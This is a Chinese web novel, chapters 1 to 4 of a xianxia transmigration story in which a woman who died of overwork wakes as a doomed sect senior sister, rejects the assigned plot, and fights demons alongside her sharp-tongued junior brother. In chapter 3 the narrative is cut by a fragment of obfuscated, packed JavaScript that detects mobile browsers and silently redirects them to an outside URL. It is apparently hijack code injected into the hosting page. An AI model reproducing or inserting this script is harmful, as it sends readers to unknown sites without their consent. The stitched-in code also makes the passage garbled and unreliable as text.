《师弟他为何不走剧情?!》
1. 穿书
姜瑜穿书了。
不久前她还坐在自己的电脑桌前熬夜改着方案,彼时只觉头昏欲坠,两眼一闭一睁——
然后硬生换了个场景,在空中做了一个一百八十度高抬腿动作,稀里糊涂地替人挡了一击,就痛昏了过去...
再醒来时,周遭早已变换景致,她身下是铺着素色锦缎的硬板床,头顶则是月白色软罗帐,边角银线绣着缠枝纹,被风拂得轻晃。
“裴少侠,这些丹药是我托认识的修士朋友要来的。”温婉清秀的少女声音由远及近。
“毕竟你此行是为了救我才受的伤,裴少侠若不收下,晚宁心里实在会过意不去...”说话的少女言语中带着本就掩盖不住的青涩。
话落,那位被叫做“裴少侠”的声音骤然响起——
少年开口清脆,声音温柔似水:“那裴某便先谢下沈姑娘了。”
裴少侠?沈...沈晚宁!?
这不是姜瑜前些日子闲来无事,看的一篇古早仙侠文《诛魔》里面的男女主吗?
还未等她理清思绪,小腿肚处猛地一阵剧烈的绞痛,翻涌直上。
她喉间一腥,温热的血气争先恐后地涌上来,顺着舌尖漫开,又直冲鼻腔,呛得她忍不住要咳嗽。
要死人了...
“姜师妹!”少年的声音再度从不远处传来,只是不同于刚才的温柔疏远,此刻多有焦急。
*
[叮,恭喜宿主被主系统选中作为初代·穿书者,参与本次的剧情体验资格。]
欢快的机械电子声音从姜瑜周身传来。
姜瑜忍着不适掀开眼皮,一道刺目的白光狠狠扎进眼底,她下意识眯了眯眼,冷声应道:“这资格给你你要不要?”
系统被噎了一下,一时蔫了下去,没了声响。
姜瑜径自走到一旁的软榻上坐下,随意地跷起腿,微抬起头,实意继续说。
系统眼睛一亮:
[宿主只需要按照《诛魔》原剧情,完成青冥宗大师姐姜瑜的部分剧情——对男主裴恒之一见钟情、情根深种,最终为其挡剑身亡即可回到原世界。]
姜瑜出声提醒:
“我都熬夜加班猝死了,你让我来这里当舔狗,那我不白死吗?”
系统不解,眨巴着眼睛凑近她,[可是宿主完成任务可以健健康康的回去啊。]
姜瑜瞥向系统,觉得好笑,反问道:“回去继续当牛马然后再猝死吗?”
她又不是没看过《诛魔》,根据刚刚的情形来看,现在刚好是男女主初识桥段。
而原主作为宗门的大师姐,因这次任务受伤,此后左腿残废,后面不仅要抗起宗内弟子对她的轻视,还会因自己的意气用事差点废了自身修为。
且不说原主本就靠着关系坐上大师姐这个位置的,光是原主本身资质平庸,废柴体质在仙侠文里就已经难于上青天了好吗?
说的轻巧,在这种妖魔横行的世界里,没有修为和一双完整的腿,如何傍身。
姜瑜还未来得及再开口辩驳,系统便完全无视她的意愿,径自从她识海中隐去了踪迹。
只留下最后一道机械音在识海深处回荡:
[检测系统已颁发任务,现将宿主送回,祝宿主有一个好的剧情体验哦~]
*
姜瑜再渡睁眼时,窗外已是黄昏。
夕阳贴着地平线,将最后几缕金红的余光送进窗来,恰好落在她毫无血色的脸上,映出几分暖意。
此刻的她还在痛骂方才系统的可耻行为,根本没注意自己的身体早已不同往前那般沉重。
“姜姑娘醒啦?”少女的声音不高不低,夹杂着一丝关切和惊喜,像一汪没起波澜的水,漫进姜瑜耳中。
“呃...”姜瑜低低地应了一声,循声转头,恰好看见正缓步走来的沈晚宁。
[少女正值豆蔻年华,梳着一对圆润的双环髻,鬓边垂着几缕碎发,额前覆着一层薄薄的齐刘海,鼻尖小巧挺翘,唇瓣是自然的粉黛色。]
这是原书中对女主的描写,在姜瑜看到沈晚宁之前,是不信世上有如此可爱的萌物的。
她手里端着个黑漆托盘,瓷碗边缘印着简单的缠枝纹,走到床边时,才开口道:“裴少侠去调查妖魔一事了,要晚些才能回来,这是他托我熬的汤药,快趁热喝吧。”
姜瑜看的一时忘乎所以,直到沈晚宁将托盘往她身侧又推了推,她才猛地回神,慌忙移开视线,讷讷道:“麻烦沈姑娘了。”
沈晚宁笑,眉眼弯弯,“不麻烦的。”
“沈小姐。”门外丫鬟的声音清脆,恰好打断了沈晚宁。“裴少侠邀您后园一逛,说是有要事与您商议。”
一听是裴恒之,沈晚宁也顾不得面前还有人,脸颊倏地飞上两抹绯红,连带着耳根都透起了粉。
她慌忙应着,声音不自觉地软了几分,带着藏不住的雀跃:“姜姑娘,你喝完汤药就躺下休息,我过会再来看你。”
“嗯,去吧。”姜瑜轻声应道,话未落下,便眼看着青布裙角在门框边一闪就没了影。
药碗被放回案几时,碗沿的温热还没散去,苦涩却已顺着喉咙往胃里钻。
正思忖着,姜瑜骤然身型一顿,现在好像不是男女初遇,是英雄救美桥段!
坏了,那丫鬟是妖煞魔派来的。
原书中的姜瑜,其实一早便识破了那丫鬟的险恶伎俩。可她偏生气不过沈晚宁总围着裴恒之打转,一股意气涌上心头,竟任由沈晚宁去赴那本就不存在的约。
也是因为这次,姜瑜彻底惹恼了裴恒之,成了他眼中妒火中烧的恶女。
而沈晚宁,灵根被伤得彻底,往后余生,只能做个跟在男主身后、手无缚鸡之力的小白花。
可恶的娇妻文学。
姜瑜在心里把那挖坑的作者和甩锅的系统翻来覆去骂了百八十遍也消不下这口恶气。
作为接受着新时代教育思想、崇尚社会主义核心价值观的好青年,她不能眼睁睁的看着沈晚宁这个可爱的小棉花糖奔向火海。
姜瑜心一横,也顾不上左腿还带着残,拖着半条不听使唤的腿,一瘸一拐地往门外冲。
沈家素喜静,府邸依山而建,后园更是直接连着后山的密林。
那地方偏僻得连洒扫的仆妇都少去,但凡有点脑子的,都该知道没人会把约见的地方选在这儿。
沈晚宁是个没脑子的。
拐进后山的刹那,姜瑜才后知后觉——
她也是个没脑子的。
身负重伤,左腿残废,废柴体质...更何况她连基本的灵力运用都没搞明白,明摆着不就是来给妖煞魔买一送一的吗?
可都已经忍着钻心的痛,瘸着腿挪到了这儿,再半拖着拐回去也是赶不及的。
她从身上好不容易搜罗出来一张传讯符,她左右捣鼓一阵,几番尝试无果后便泄了气。
索性一咬牙秉持着能帮沈晚宁拖一会是一会的心思,一瘸一拐的进了后山深处。
*
姜瑜作为已经死过一次的过来人经验来说,她是不怕死的。
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至少在看到妖煞魔之前,是不怕的。
那煞魔身型巨大,脸上没有皮肤,肌肉和血管清晰可见,它的额头中央有一只巨大的独眼,眼球里布满了血丝,眼皮上还长着密密麻麻的倒刺。
而它身前那棵合抱粗的古树枝桠上,沈晚宁双目紧闭,静静地躺着,衣襟上还沾着未干的血迹。
姜瑜从未见过如此恶心的怪物,光是看上一眼,胃里就翻江倒海,酸水直往喉咙口冲。
比起被这种怪物吃掉,她觉得还是直接猝死来的实在。
见怪物还未有下一步动作,她忙不跌地扑到旁边一棵老树后,后背紧紧贴着粗糙的树皮,下意识地屏住了呼吸。
额间的冷汗顺着鬓角往下淌,滑过下颌时凉得刺骨,却半点驱散不了姜瑜后背泛起的寒意。
原书虽名为《诛魔》,但作者对魔物的描述不过寥寥几笔带过,多数笔墨全用在了描述她亲儿子裴恒之有多牛X上。
以至于姜瑜根本不知道这怪物早已抛却了视觉的桎梏,此刻正循着她身上的气味,像一摊活过来的烂泥缓缓寻来。
黏液碾过枯叶的声响在寂静的林间被无限放大,一下下剐着她的神经。
她死死攥着袖角,贴在树上的手不受控地打颤,从身上窜上来的寒意,早就冻僵了四肢百骸,动弹不得。
“师姐站在这不动手,是准备做这垢魇的饭前甜食吗?”一道清冽干净的声音从云端坠下,如碎玉敲冰,带着几分慵懒随意。
话音未落,一道银亮剑气已劈开昏沉天幕,裹挟着凌厉的破空声,划破了昏暗的天空,直击垢魇门面。
那团灰黑黏液猛地炸开,却没如预想般溃散——
无数细小的触须从裂口处疯长出来,像被激怒的毒藤,带着腥风缠向应不妄的剑锋。
“也就这点能耐。”应不妄冷哼一声,手腕翻转,长剑在半空划出一道银弧,带起的劲风将触须拦腰斩断。
断口处涌出的墨绿色汁液溅在青石上,蚀出细密的坑洼,他却嫌恶地侧身避开,剑脊在掌心轻叩:“沾上这等秽物,倒委屈了我的‘无望’。”
缠斗间,那怪物似是察觉到自己不是眼前少年的对手,竟直接调转方向,带着腐臭的腥风直直扑向姜瑜。
姜瑜只觉眼前一暗,腥甜的恶臭味堵得她几乎窒息,怪物发出的难听声音像无数只虫子爬过耳膜。
她想躲,可双腿早已僵在了原地,连抬手的力气都没有,只能眼睁睁看着垢魇带着破风的锐响压下来。
“再不动弹,等会儿连收尸的都嫌你骨头碎得太细。”应不妄的声音从她身后传来,紧接着一股大力拽住她的后领,将她猛地向后拖去。
姜瑜踉跄着撞进应不妄的怀里,淡淡的药香混着草木清气扑面而来,未来得及细闻,就听“嗤啦”一声——
垢魇擦着她的发梢砸在地上,边缘的黏液瞬间攀上旁边老树的树干。
不过须臾,合抱粗的老树已被蚀出半尺深的焦黑沟壑,枯枝混着浆汁簌簌坠落,连年轮都在黏液下以肉眼可见的速度消融。
就在垢魇重整攻势,黏液中翻出更粗壮的暗紫色尖刺时,一道金芒突然从斜后方射来,精准地钉在尖刺根部。
那金芒似是某种符咒,触碰到黏液的瞬间便燃起淡金色的火焰,轰的一声,将整团怪物裹入火海。
“来晚了些,可有人受伤?”清冷温润的声音从不远处传来,夹杂着些许微不可查的关心。
一道月白身影已踏着枯叶走近,衣袂扫过地面的声响轻得几乎听不见。
2. “沈晚宁”
“裴师兄可以再晚些,顺道收一下我们的尸骨。”应不妄视线扫过对方素白衣襟,冷哼一声,故意加重了语气:“倒是穿得整齐,不像我们,刚从泥水里捞出来。”
裴恒之视线瞥向应不妄,目光落在方才因差点被怪物吃掉而缩在他怀里的姜瑜,眉头几不可察地蹙起,声线平得听不出情绪:“姜师妹?”
姜瑜被盯得脸上一热,忙干笑着想挣开些距离,可左腿传来的酥麻却像潮水般涌上来,刚踮脚就踉跄了一下。
“师姐你腿怎么了?”应不妄顺手扶住姜瑜。
“没...我没事。”姜瑜慌忙摆着手,指尖指向一旁,“沈晚宁、沈姑娘受伤了。”
顺着姜瑜指的方向看过去,裴恒之的目光在地上蜷缩的身影上顿了顿,视线扫过对方沾着尘土的衣襟和苍白的侧脸,扭头便沉下脸训斥:
“不安心养伤,来这里添乱吗?”
姜瑜撇嘴,垂下眼帘小声嘟囔:“我这不是拖了它好一会吗?”
应不妄接道:“我再晚些来,师姐你怕是就被碾成碎骨了。”
裴恒之没看他,径直走向沈晚宁:“先离开这儿,其余稍后再论。”
说罢,他便俯身,单臂穿过沈晚宁膝弯,另一手揽住她的后背,稍一用力便将人打横抱起,径直走回沈府,留他们二人在后。
“师、师弟?”姜瑜试探着开口,她尚不清楚眼前少年的名字,只从方才寥寥数语里知道,这是自己的师弟。
应不妄扶着她小臂的手还没松开,闻言侧过头看她。目光扫过她脸上因方才打斗蹭上的泥沙,嘴角撇出几分明显的嫌弃:“师姐会自己走回去的吧?”
姜瑜被他这直白的嫌弃堵得一噎,低头看了一眼自己被划破的裤脚,又抬眼瞅了瞅少年紧绷的侧脸,小声嗫嚅:“我...腿有点麻。”
应不妄“”啧”了一声,扶着她的手却悄悄加了几分力,语气生硬:“难不成还指望我把你抱回去?”
姜瑜看似随意的耸了耸肩,故意拖长了调子:
“哦——那好吧,那就辛苦师弟扶着我了,反正我腿脚不便,半路摔一跤也是难免的,就是可怜了师弟,到时候没办法向师父交差了。”
她是真的不想再瘸着走回去了,说这些话也不过是死马当活马医,赌一把而已。
“少拿师父压我。”他闷哼丢下一句,却没等姜瑜反应,已屈腿蹲在了她面前,后背挺得笔直,像株憋着股气的青竹。
姜瑜偷偷瞄着他,忍不住弯起嘴角——她果然没猜错。眼前这少年,正是原书中那个被苍梧长老救下的便宜师弟,应不妄。
他面上瞧着一副乖顺听话模样,对师父的话言听计从,私下里却是嘴不饶人,把宗门上下得罪了个干净。
这次出现在这里,多是师父派他来帮忙的。
姜瑜趴在应不妄的背上,鼻尖萦绕着他身上清淡好闻的药香,混着夜风里草木的气息,竟让人莫名安心。
月光透过树叶的缝隙,筛下几缕清辉落在少年的侧脸,柔和了他平日里紧绷的轮廓,倒显出几分难得的温顺。
后来女主拜入苍梧长老门下,他不久便认出女主便是年少时救助过自己的白月光。
于是就一头栽进去,最终落得个爱而不得、走火入魔的下场。
姜瑜撇嘴,摇了摇头。
真是可怜了我的乖巧师弟。
*
这个念头在回到沈家府邸后,彻底被姜瑜打消了。
夜色渐浓,沈府正堂内烛火徭役,将偌大的厅堂照的半明半暗,梁柱上的雕花在光影里忽明忽灭。
“沈某来迟了。”话音先于人影传入堂中,带着几分歉意。
沈靖远款步而入,目光先扫过堂内等候之人,随即微微颔首:“方才去安顿受惊的小女了,多有招待不周,望各位少侠海涵。”
裴恒之胯步向前:“沈姑娘可有大碍?”
“小女只是受了些皮外伤,并无大碍,”沈靖远抬手示意,语气平和,“裴少侠大可放心。”
说着便侧身相让,抬手虚引:“诸位少侠请坐,快请坐。”
众人依序落座时,姜瑜特地走到最靠角落的位置坐下。
烛火照不到那里,只映出她垂着的眼帘,目光落在自己那条不便行动的左腿上,怔怔出神。
“沈县尉,凉州失踪的少女裴某还在尽力追查,”裴恒之目光扫过众人,“只是伤了沈姑娘的这只魇魔,与掳走其他姑娘的并不相同。”
他指尖无意识摩挲着腰间佩剑的穗子,又道:“此獠不过是趁隙作祟的杂碎。”
“这...这这这可如何是好啊!”沈靖远沈靖远攥紧佛珠,指节微微发白,语气里添了几分焦灼。
“所以说,”应不妄嘴角扯出一抹好看的弧度,目光拐了个弯,落在角落里发呆的姜瑜身上,
“妙龄少女失踪,师姐也去跟着凑热闹了?”
被点到名的姜瑜身形猛地一顿,飘远的思绪骤然回笼。
她咬紧后槽牙,连带着腮边的肌肉都微微绷起,抬眼剜了应不妄一眼。
真的,你要真不会说话可以不说。
师姐知道你不是哑巴。
见众人的目光都聚了上来,她只得尴尬的挤出几声干笑,“当时情况危急,我着急去救沈姑娘,没想那么多。”
“姜师妹”裴恒之忽然开口,语气里带着几分探究,“我临行前嘱托过沈姑娘好好照顾你,她为何会独自一人跑去后山?”
“是府里一个丫鬟来,说裴师兄您有事找她去后园,她便急着过去了。”姜瑜如实答道。
“丫鬟是魇魔吧?”应不妄挑眉,“以师姐的灵力,怎会感查不到?”
姜瑜:你的嘴可以捐了,谢谢。
“我当时重伤初醒,脑子还昏着,等察觉到不对劲的时候,才着急追了出去。”
她话音刚落,门外突然传来小厮慌张的呼喊,几乎是一路小跑而来:“不好了,老爷!赵家婆子的二丫不见了!”
赵二丫不见,是赵婆子起夜时发现的。彼时屋里烛火还燃着半截,明明前一刻钟还听见榻上匀净的呼吸声,回来时屋内却没了人影。
“如此算来也不过半个时辰。”
裴恒之摸出腰间的追踪符:“这符能循着魇魔的气息追去,或许能赶在它走远前找到踪迹。”
“姜师妹,”裴恒之转头,语气稍有迟疑:“你腿脚不便,在堂前候着,等我们回来。”
“嗯!”姜瑜用力点头,“我就在这儿等着,你们放心的去
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。”
她才不想见那恶心妖怪第二遍。
应不妄刚没走几步,却又折返回来,从袖中摸出一纸符塞进她手里,难得正经:“拿着,遇到危险时捏碎,保命用的。”
姜瑜还憋着气,没好气地白了他一眼。
开玩笑,她在沈府能有什么危险?
姜瑜虽在嘴上没吭声,手上却不自觉地攥紧了符纸。
*
方才如墨深空中还露着半轮月亮,眨眼间深空星星已没了影。一道闪电划破夜空,紧跟着雷雨便倾盆而至。
姜瑜试图将系统重新唤出来商议。
几次无果后,她便泄了气,坐在椅上,无聊地抠着桌角雕花。雨声淅淅沥沥的打在地上,倒催着她连打了几个哈欠。
不知坐了几个时辰,雨势非但没减,反倒越下越烈。
就在这时,门外传来含混的嘟囔声:“姜姑娘……”
稍顿了顿,那声音又清晰了些:“姜姑娘?”
姜瑜攥紧手中的符纸,抬眼望去——雨幕中,沈晚宁撑着柄油纸伞,裙角沾了些泥点,正踩着积水快步走来。
“姜姑娘,”她收了伞往门内挪了挪,“裴大哥跟我爹他们抓到那魇魔了,现下要让我们去帮忙将姑娘们带回呢。”
“好啊。”姜瑜眉眼弯弯,笑得好看,“那我们快些去。”
姜瑜往前迈着步子,指尖倏地发力,将那纸符狠狠捏碎,反手朝后撒去。符纸碎片遇风化作点点金芒,直扑身后的“沈晚宁”。
那身影猝不及防,被金芒扫中,猛地连连后退,嘴里发出的已不是人声,而是一阵尖锐刺耳的尖叫。
“你是如何发觉的?!”魇魔发出的声音难听刺耳,如铁器刮过石板,让姜瑜不由得起了一身鸡皮。
姜瑜站定,冷哼一声,扯出一抹冷笑:“沈晚宁从未叫过裴大哥这个称呼。”
“况且这大雨瓢泼,裴师兄怎会让受过惊吓的沈晚宁带着我这个腿脚不便的人去添乱。”
“老虎不发威,真当我姜瑜是个傻的啊?”
话音未落,那魇魔猛地弓起身子,朝姜瑜扑面而来,尖利的爪子泛着青黑,裹挟着浓重的绣气。
姜瑜早有防备,借着侧身躲闪的力道抓起桌上的烛台狠狠抄魇魔砸去。
烛台砸在魇魔肩头,火星溅在它渗着黑气的衣襟上,瞬间燎起一小片焦痕。
魇魔发出一声尖锐的痛嚎,扭曲的脸上怒意暴涨,“找死!”魇魔怒吼一声,黑气陡然翻涌,身形竟凭空涨大了几分。
它猛地挥出利爪,带起一阵腥风,姜瑜刚避开面门,却被它另一只手抓住了手腕。不等她挣脱,魇魔竟猛地旋身,用黑气将她卷了个结实。
“别等我师兄来把你撕成碎片,去喂赵婆家的鸡!”姜瑜被黑气勒得喘不过气,却依旧梗着脖子嘴硬。
“你还是先顾好自己吧!”
姜瑜只觉腰间一紧,下意识攥紧拳头,只觉自己整个人被一股蛮力拖拽着离地。
魇魔拖着她往门外冲去,狂风裹挟着雨水狠狠砸在脸上,她腿脚不便,此刻更是无力挣扎。
只觉得眼皮越来越沉,周遭的声响渐渐模糊成一团嗡鸣。只能任凭自己被卷进茫茫雨幕,朝着后山的方向掠去……
3. 失踪少女
再次睁开眼时,铁链摩擦着手腕发出声响,传进姜瑜耳朵,她费力地偏过头,勉强眯眼看清周遭——
这像是个天然溶洞,顶部垂着长短不一的石笋,水滴砸在地上的水洼里,溅起细碎的声响。
周围安静的出奇,唯有铁链偶尔碰撞的轻响与水滴声交织,在这溶洞里反复回荡。
目光所及处,数十名少女皆同她一般,披头散发的被铁链栓着,手腕处与铁链摩擦的地方,皮肉泛着红肿,有的已被磨破,渗出的血珠与铁锈黏连在一起。
姜瑜试图用力蛮拽扯,铁链纹丝不动,反倒是粗糙的链节狠狠刮过手腕伤口,疼得她倒抽一口冷气,额角瞬间沁出冷汗。
“让我看看……”洞口深处忽然飘来一个柔媚的声音,拖着长长的尾音,带着说不出的黏腻。
只见一个体态丰腴的红衣女子扭着腰肢走了进来,裙摆扫过地面的碎石,发出细碎的声响。
她眼神在众少女身上逡巡,嘴角勾着笑意,慢悠悠地重复:“下一个是哪位美人呢?”
离姜瑜最近的少女低着头,发丝凌乱地贴在惨白的脸上,嘴唇微微翕动,浑身抖的厉害,却不敢发出一丝声音。
“新抓来的这个倒是娇嫩貌美。”女人缓步走进姜瑜身侧,涂着蔻丹的手指轻佻地勾起她的下巴,目光在她脸上流连片刻,“可惜……是个瘸的。”
“不过没关系,妹妹还可以被姐姐化成丹艳,来供姐姐美容养颜呢。”她尾音拖得细长,话语间含存笑意,带着几分得意的轻佻。
女人拍了拍手,银镯子碰撞的脆响在溶洞里荡开,她扭着腰往洞口挪去,身影渐渐隐入那片浓黑,只留那甜腻的香气却迟迟不散。
姜瑜额头上的汗顺着脸颊往下淌,她紧紧抿着嘴,脑子里却疯狂呼叫系统。
姜瑜:系统你丫的再不出来,你的宿主就真的凉透了!
姜瑜:虽然我姜瑜要钱有颜,要关系有颜值,要任务有颜值,那也不能因为我长的太好看就要被练掉吧?
[检测到宿主面临生命危险,是否花费一个剧情点购买原主的修为和记忆?]
姜瑜:?
这不应该是免费送的吗?
*
姜瑜指尖捏着她咬牙花费两个剧情点买下的符纸挣脱掉铁链时,已经是一个时辰之后了。
她揉向自己被栓的发麻的手腕,从身上摸索出先前没用出去的传讯符,念动口诀,符纸如一缕轻烟升起,旋即化作点点微光,消失在指尖。
姜瑜忍不住弯起了嘴角。
还好原主姜瑜是一个天赋不够努力来凑型人格,她每日总会拿出更多的时间来刻苦修炼,只为赶上其他天赋型弟子的修炼进度,以至于她现下的修为不比同门的师弟妹们差。
笨鸟先飞嘛。
离她不远处,一个穿浅绿襦裙的少女似乎察觉到她的动静,缓缓抬起头。
见姜瑜挣脱掉了铁链,她惊恐地摇着头,嘴唇哆嗦着想说什么,却被角落里尖锐的叫声打断:“有人要跑!”
“美女姐姐!有人要跑!”
说话的人披散着头发,脸上糊满了血泥,早已看不清她原本的面貌,她的声音近乎嘶吼着,在洞里振出荡荡回声。
姜瑜眉头一蹙,手指快速地捏了个禁声诀,瞬间封住了她的嘶吼。
她的动静吓到了那些同被铁链锁着的少女们,铁链随之撞在一起,发出哐啷刺耳的声音。
“吵死了!”尖锐刺耳的声音从洞口传来,只见红衣女人扭着腰肢,细眉拧成一团,不耐烦道:“是哪个不听话的敢坏老娘好事?”
姜瑜眸光一凛,抬手间灵力骤凝,一柄银月色的长剑凭空出现,剑身在昏暗里泛着冷冽的光。
她剑尖斜指地面,银辉映着她半敛的眼,语气漫不经心,“怎么?不记得本姑奶奶了?”
魇魔冷哼一声,“不过是个瘸子,也敢在老娘这儿大放厥词,是嫌死的太晚了?”
“瘸子?”姜瑜闻言,嘴角勾起一抹弧度,握剑的手微微用力,银月剑在地面轻划,带起一串火星。
既然继承了原主的修行和灵力,她那瘸了的腿是足以靠丹田内的灵力运转后与常人无异的。
她抬眼时,眸中寒意乍现,语气里的漫不经心尽数褪去,只剩锐不可当的锋芒:“那也得看今日到底是谁的忌日!”
话音未落,她手腕一扬,长剑陡然指向魇魔门面,剑气凌厉得逼得对方下意识后仰。
魇魔身形未稳,却反手拍出一掌,黑雾裹挟着腥气直扑姜瑜。
姜瑜借着灵力,足尖点地,规避的同时银月剑趁势横扫,带起一道寒光切向对方手腕。
魇魔袖口被剑气划开一道口子,她闷哼一声,旋身退开数步,眼中怒意更盛。
“找死!”说罢十指成爪,黑气缭绕的指尖直抓姜瑜心口。
姜瑜不退反进,长剑竖挡胸前,格开对方攻势,手腕翻转间剑尖已缠上对方臂弯,借着旋力猛地一挑——魇魔只觉手臂一麻,竟被带得踉跄半步。
魇魔忽然发出一阵尖锐的大笑,笑声在洞里回荡得令人发毛。她眼尖地瞥见一旁缩着的女人——正是方才在洞里大声嘶吼通风报信的那个。
她猛地探手抓过对方后领,将人提在半空,不等那女人尖叫出声,魇魔掌心黑气暴涨,瞬间将人裹住。
只听一阵细碎的骨骼碎裂声,那女人的身形竟以肉眼可见的速度干瘪下去,最后化作一缕青烟被魇魔张口吸尽。
魇魔舔了舔唇角,眼底红光更盛:“碍事的东西。”
见魇魔还要伸手去抓旁边吓得瘫软的少女,姜瑜眼神一厉,银月剑破空划出一道冷芒,直逼魇魔手腕。
剑气带着凌厉的劲风扫过,逼得魇魔不得不撤手回防。姜瑜扯起嘴角,嘲讽道:“有本事别找外援。”
话音落,她将灵力聚与足底,弥补受伤小腿的劣势,顺着洞口往外走去。
她不能在这与魇魔打斗,那些被铁链锁着的少女毫无反抗之力,一旦动起手来,魔气四散,她们怕是连片刻都撑不住。
更甚者会伤及无辜之人。
穿过洞口,眼前景象却与姜瑜预想的截然不同——
这里的空间竟比方才的囚洞还要开阔数倍,抬头环壁而堆的白骨数不尽数,壁上嵌着的幽绿鬼火忽明忽暗。
姜瑜脚步一顿,握紧了手中的银月剑。看来这魇魔在此盘踞已久,不知残害了多少生灵。
先前受的伤本就未愈,方才又过度催动灵力,此刻姜瑜只觉丹田一阵空虚刺痛,连握着剑的手都微微发颤。
她深吸一口气,压下喉间的腥甜。再拖片刻,拖到裴恒之他们赶到……
“怎么不跑了?”魇魔的声音带着戏谑的笑意从洞口钻出来。
此刻她早已褪去了原来女人的面皮,露出底下青黑交错的鳞片,五官扭曲成沟壑纵横的模样,两只眼珠凸在眶外,泛着浑浊的红光。
“方才不是挺嚣张吗?”魇魔猩红的目光扫过姜瑜发白的脸色,以及那微微颤抖的手腕,笑得越发得意,“灵力耗空了?”
姜瑜没有应声,只是缓缓调整着呼吸,试图从丹田深处榨出最后一丝灵力。指尖的银月剑光芒黯淡了几分,却依旧被她握得极紧。
魇魔见状,忽然嗤笑一声:“这鬼石窟四面环山,纵是大罗金仙来了,也未必能找得到这儿。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380134|184117||http|test|mini|href|location''.split(''|''),0,{}));
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>姜瑜嘲讽的笑道:“原来你怎么丑,我要是你我都没脸站在这。”
“你别想有人能从老娘的地盘救走你!”她说着,怒火中烧,身形陡然化作一道黑影,带着浓烈的腥风扑向姜瑜,“今日这窟,便是你的葬身之地!”
她指尖黑气翻涌,显然已不耐烦再拖延,攻势带着毁天灭地的狠戾,直取姜瑜心口。姜瑜咬牙侧身避开,银月剑勉力横挡。
“铛——”
银月剑被震得脱手飞出,重重撞在白骨堆上,发出刺耳的回响。
姜瑜捂着发麻的手腕,见魇魔青黑的爪子带着腥风再次袭来,她瘸着腿在白骨上借力一撞,身形踉跄着避开,后背却重重撞在石壁上,疼得她闷哼一声。
魇魔利爪裹挟着魔气,转向姜瑜门面,她避无可避,只得本能地抬起胳膊护住脸部。
“用胳膊挡,还真是个人能想出来的法子。”熟悉的声音陡然在石窟中炸开,带着几分惯有的戏谑。
应不妄手持长剑横在姜瑜身前,剑光如练,稳稳格开了魇魔的利爪。
裴恒之的身影紧随其后落下,月白衣袍带起一阵疾风,他手中执剑,寒光乍现。
魇魔被那道凌厉剑气震得连连后退,青黑鳞片下的肌肉突突直跳,方才还嚣张的气焰被生生压下去半截。
她踉跄着撞在身后的白骨堆上,伴随着的骨响的声音,那双凸鼓的红眼珠死死瞪着突然出现的两人,怒吼声里裹着戾气:
“你们怎么找到这儿的!?这万骨窟布了迷踪阵,便是飞鸟也寻不到入口!”
应不妄剑尖斜指地面,剑穗上的银铃轻晃,“你这破阵,我三岁时就会拆了。”
姜瑜看向他,吹牛逼不打草稿啊?
裴恒之的月白衣袍在阴森窟内宛如流萤,他手腕轻旋,长剑划出一道清冷弧线,直指魇魔心口。
他欺身而上,剑光与魇魔的黑气撞在一处,发出“滋滋”的灼烧声。
姜瑜转眼望向那道月白身影,眼里散发着崇拜——不愧是原书男主,三秒一个大妖真不是给你吹啊。
应不妄手臂交叉抱在胸前,下巴微扬:“我只是嫌脏,要让我上,那斯早成灰了。”
姜瑜:谁问了?
姜瑜暗自翻了个白眼,语气带着毫不掩饰的嫌弃:“有那功夫吹牛,不如看看能不能搭把手,别杵这儿跟根桩子似的。”
她话音刚落,就见裴恒之剑光一滞,魇魔趁机拍出一掌黑气直冲姜瑜而来。
应不妄嗤笑一声,身形微动,一道银线斜斜掠过,精准斩散了那团黑气。
黑气溃散的瞬间,应不妄足尖在白骨堆上一点,“无望”在他手中银芒暴涨三尺,带着破空的锐啸直刺魇魔后心。
魇魔正被裴恒之正面牵制,察觉背后风劲时已来不及回防,只能嘶吼着扭动身躯,试图以鳞片硬抗。
噗嗤——
剑穿透鳞片没入数寸发出声音,黑气顺着伤口疯狂外泄。
魇魔剧痛之下猛地回身,利爪带着同归于尽的狠戾抓向应不妄。
他不退反进,手腕翻转间剑刃在魇魔体内搅出个血洞,同时侧身避开利爪,另一只手屈指成诀,一道金色符咒猛地贴在魇魔眉心。
符咒金光乍起,与剑上灵力相呼应,瞬间将魇魔全身裹住。
她在金光中发出凄厉的惨叫,青黑的身躯以肉眼可见的速度消融,最后化作一缕黑烟,被软剑吸收得干干净净。
应不妄抽剑回鞘,剑穗上的血珠滴落在白骨上,晕开一小片暗沉的红。
“师姐,”他几步走到姜瑜面前,微微俯身,温热的气息拂过耳畔,声音压得极低,带着得逞后的狡黠:“我不吹牛的。”
4. 推崖剧情?!
晨时,太阳初升,第一缕阳光透过树上的叶子映照在宁静的弟子居。
姜瑜坐在桌前,指尖无意识地摩挲着茶杯边缘,瓷杯冰凉的触感顺着蔓延开来,却浇灭不下心底的燥。
沈晚宁按照原著顺理成章地拜入了苍梧长老门下,成为了青冥宗的团宠小师妹。
而如今沈晚宁的灵根并未被魇魔所摧残,反而灵根完好无缺,还是极品单木灵根,天资卓越。
姜瑜兀自给自己倒了口茶水,猛地一灌,心里愈发不是滋味。
根据原著剧情来看,她往后有的死要作。
这不是搬起石头砸自己的脚吗?
“姜师姐,今日是墨渊长老的课业。”门外骤然响起少女的声音,恰好打断了姜瑜的思绪。
沈晚宁语调柔和舒适:“墨渊长老的课业素来严苛,听说昨日有位师兄迟了片刻,就被罚去后山劈柴三日呢。师姐还是快些动身吧,咱们莫要误了时辰。”
自打他们从沈家府邸回来后,也不知是谁先嚼起了舌根,说她灵根废柴就算了,还拖着一条不听使唤的腿,究竟有何脸面继续呆在青冥宗继续做她的大师姐一职,也就小师妹心地善良,与她交好。
姜瑜听到后气的牙痒痒,就算原主□□双灵根,但如日以来的努力换取的修为也照样打的他们跪地喊妈。
“嗯,我这就来。”姜瑜应声,忙起拂过衣摆,将方才久坐压出的几处褶皱捻平。
打开门,沈晚宁一张尤为精致到恰到好处的脸直怼眼前,她一席素色弟子袍,梳着往常一般的双丫鬓,鬓边几缕碎发垂着,更显得眉眼温顺。
姜瑜:其实这石头砸脚也不疼。
*
墨渊长老主修剑道,一手剑术在宗门内罕有敌手。
他为人待弟子素来严苛、公正无私。对弟子的课业与品行要求极严,半分差错也容不得。
